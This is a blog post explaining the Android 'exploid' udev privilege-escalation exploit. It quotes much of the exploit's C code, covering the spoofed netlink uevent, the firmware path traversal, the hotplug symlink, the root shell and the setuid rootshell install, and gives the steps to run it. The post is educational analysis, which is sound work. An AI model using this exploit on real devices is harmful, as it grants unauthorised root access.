RSS Feed

udev Exploit (exploid)

This post explains the exploid exploit or the udev exploit.

You copy the exploid binary onto /sqlite_stmt_journals/exploid

chmod 755 exploid

The /sqlite_stmt_journals directory is used because it has the RW permissions for any user.

Run ./exploid

if (geteuid() == 0 && getuid() != 0)
rootshell(env);

This checks for the Effective User ID (EUID) and the Real User ID (UID).
Every process in a *nix machine is associated with a EUID and a UID
Remember that, we do not have root access on the device, yet. So, when ./exploid is run you are running as root, both your EUID and UID are set to the non-root user. So why check this condition when we know for certain that this is not going to return True?, you’ll get to know in a little while.

readlink("/proc/self/exe", path, sizeof(path);

The /proc/exe is a symbolic link to the application, and /proc/self is the same as /proc/"pid of this executable". The readlink() function will return the full path of the link target, which is now stored in the character array called path.

if (geteuid() == 0) {
		clear_hotplug();
		/* remount /system rw */
		if (mount("/dev/mtdblock0", "/system", "yaffs2", MS_REMOUNT, 0) < 0)
			mount("/dev/mtdblock0", "/system", "yaffs", MS_REMOUNT, 0);
		copy(path, "/system/bin/rootshell");
		chmod("/system/bin/rootshell", 04711);
		for (;;);
	}

Same as the case above, this isn’t going to execute because the EUID is not root yet.

sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);

From the man page:
netlink is used for communication between the kernel and userspace

netlink_socket = socket(PF_NETLINK, socket_type, netlink_family);

The important part here is the netlinki_family. In exploid, this is NETLINK_KOBJECT_UEVENT which indicates that it is a Kernel message to userspace.
This is the heart of the vulnerability. The original founder of this vulnerability (Sebastian Krahmer) figured that merely specifying the socket message as NETLINK_KOBJECT_UVENT would be enough to spoof a message from the kernel.

ofd = creat("hotplug", 0644);
close(creat("loading", 0666));

creat() is just like open() (as specified in the man pages)
644 indicated that only the owner of the file (‘hotplug’) can write and all other users are allowed to read
So a file called hotplug is created with the aforesaid permissions. Similarly a file called loading is created with RW permissions for everyone and closed, the reason for which would be discussed further below.

write(ofd, path , strlen(path);
write(ofd, path , strlen(path);

This line merely writes the contents of path into the file pointed to by ofd, which in this case is ‘hotplug’ and the contents of path: the absolute path to exploid’s executable.
Then the hotplug’s file stream is closed.

symlink("/proc/sys/kernel/hotplug", "data");

The man page
Effectively, a symbolic link from a file called “data” to /proc/sys/kernel/hotplug is placed.

snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
	         "SUBSYSTEM=firmware%c"
	         "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);

This, semantically speaking, is a udev rule, contained within buf. udev rules contain a match condition and a corresponding action. All the rules enlisted in the rule configuration file are checked against the new event received by the udev daemon from the kernel. And every condition that matches fires the corresponding action. The given rule does not have any match condition, which means that everytime the udev daemon receives an event message from the kernel, this action is going to be fired.
In the desktop linux systems, to add/edit a udev rule, you need to run as root and edit the udev’s rule file (usually present in /etc/udev/rules.d/50-udev.rules). Similarly, at this point this rule is just stored in the character array called buf and means nothing to udev or to the kernel.

sendmsg(sock, &msg, 0);

The sendmsg function sends the message pointed to be msg to the socket pointed to by sock with no flags set. msg is populated in the following manner:

struct sockaddr_nl snl;
struct iovec iov = {buf, sizeof(buf)};
struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};

We already have seen buf getting populated with the rule string.
After this the communication from exploid’s side is complete and thus the socket is closed by executing:

close(sock);

Now, the user disconnects and reconnects the wifi. This event is processed in the following manner:
static void process_firmware_event(struct uevent *uevent) is invoked.

struct uevent {
    const char *action;//="add"
    const char *path;//="/../sqlite_stmt_journals"
    const char *subsystem;//="firmware"
    const char *firmware;//="../../../sqlite_stmt_journals/hotplug"
    int major;
    int minor;
};
#define SYSFS_PREFIX    "/sys"
#define FIRMWARE_DIR    "/etc/firmware"
char *root, *loading, *data, *file;
asprintf(&root, SYSFS_PREFIX"%s/", uevent->path);
asprintf(&loading, "%sloading", root);
asprintf(&data, "%sdata", root);
asprintf(&file, FIRMWARE_DIR"/%s", uevent->firmware);

line 4: root=”/sys/../sqlite_stmt_journals”, effectively, root=/sqlite_stmt_journals
line 5: loading=”/sqlite_stmt_journals/loading”
line 6: data=”/sqlite_stmt_journals/data”
line 7: file=”/etc/firmware/../../../sqlite_stmt_journals/hotplug”,
effectively, file=”/sqlite_stmt_journals/hotplug”

loading_fd = open(loading, O_WRONLY);
data_fd = open(data, O_WRONLY);
fw_fd = open(file, O_RDONLY);
load_firmware(fw_fd, loading_fd, data_fd);
static int load_firmware(int fw_fd, int loading_fd, int data_fd)
write(loading_fd, "1", 1);  /* start transfer */

After this point, the contents of file are transferred into data.
and then loading_fd is used to write “0” into loading indicating that the file writing was succesful.
Hence now the firmware is loaded and ready. At this point, the loaded firmware is run, but with the setuid bit set, because it is assumed that the message came from the kernel.
The loaded firmware here is nothing but exploid’s binary itself.

if (geteuid() == 0 && getuid() != 0)
rootshell(env);

This returns True so rootshell(env) is called

setuid(0); setgid(0);
execve(*sh, sh, env);//sh=/bin/sh

Hence the root shell has been launched

if (geteuid() == 0) {
		clear_hotplug();//writes NULL into /proc/sys/kernel/hotplug
		/* remount /system rw */
		if (mount("/dev/mtdblock0", "/system", "yaffs2", MS_REMOUNT, 0) < 0)
			mount("/dev/mtdblock0", "/system", "yaffs", MS_REMOUNT, 0);
		copy(path, "/system/bin/rootshell");
		chmod("/system/bin/rootshell", 04711);
}

Now /system/bin/rootshell points to /sqlite_stmt_journals/exploid with execute permissions for everyone and the program exits.

The user now runs rootshell
If this is successful, then the rooting of the device is succeful
Then you copy your Superuser binaries and rm /system/bin/rootshell as it is no longer necessary.

RageAgainstTheCage

This post gives a detailed explanation of the RageAgainstTheCage (RATC) exploit
Also commonly known as the “adb setuid exhaustion attack” and CVE-2010-EASY😉
Read the rest of this entry